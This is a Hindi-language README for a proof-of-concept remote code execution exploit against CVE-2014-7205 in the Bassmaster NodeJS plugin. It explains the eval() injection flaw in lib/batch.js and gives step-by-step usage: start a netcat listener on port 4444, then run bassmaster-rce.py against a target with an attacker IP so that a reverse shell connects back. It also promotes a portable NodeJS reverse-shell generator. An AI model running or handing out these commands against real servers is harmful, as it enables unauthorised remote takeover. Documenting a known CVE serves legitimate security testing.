Bassmaster NodeJS Plugin RCE PoC

bassmaster-rce.py: एक Python स्क्रिप्ट जो CVE-2014-7205 का शोषण करने के लिए है। nodeshell.py: NodeJS के लिए रिवर्स शेल उत्पन्न करने वाला एक Python मॉड्यूल

!!केवल उन सर्वरों पर उपयोग करें जिन पर आपके पास परीक्षण करने की अनुमति है

सारांश

CVE-2014-7205, Bassmaster Plugin for NodeJS में एक Remote Code Execution (दूरस्थ कोड निष्पादन) कमजोरी है। सभी संस्करण <= 1.5.1 प्रभावित हैं। यह कमजोरी lib/batch.js फ़ाइल के internals.batch फंक्शन में मौजूद है, जहाँ eval() का कॉल अनुचित रूप से एस्केप किए गए उपयोगकर्ता इनपुट का उपयोग करता है (मूलतः regex यह जाँच नहीं करता कि अनुरोध में दुर्भावनापूर्ण कोड है या नहीं)।

प्रमाण की अवधारणा

1. Git रिपॉजिटरी डाउनलोड या क्लोन करें
2. Bash टर्मिनल में netcat लिसनर खोलें nc -lvp 4444
3. सुनिश्चित करें कि bassmaster-rce.py और nodeshell.py एक ही फ़ोल्डर में हैं
4. bassmaster-rce.py चलाएँ python3 bassmaster-rce.py -u http://target -p 8080 -l attacker.ip -P 4444

अन्य

• nodeshell.py पूरी तरह से अन्य PoCs और Exploits में पोर्टेबल है जो Python का उपयोग करते हैं और NodeJS के लिए रिवर्स शेल उत्पन्न करने की आवश्यकता होती है।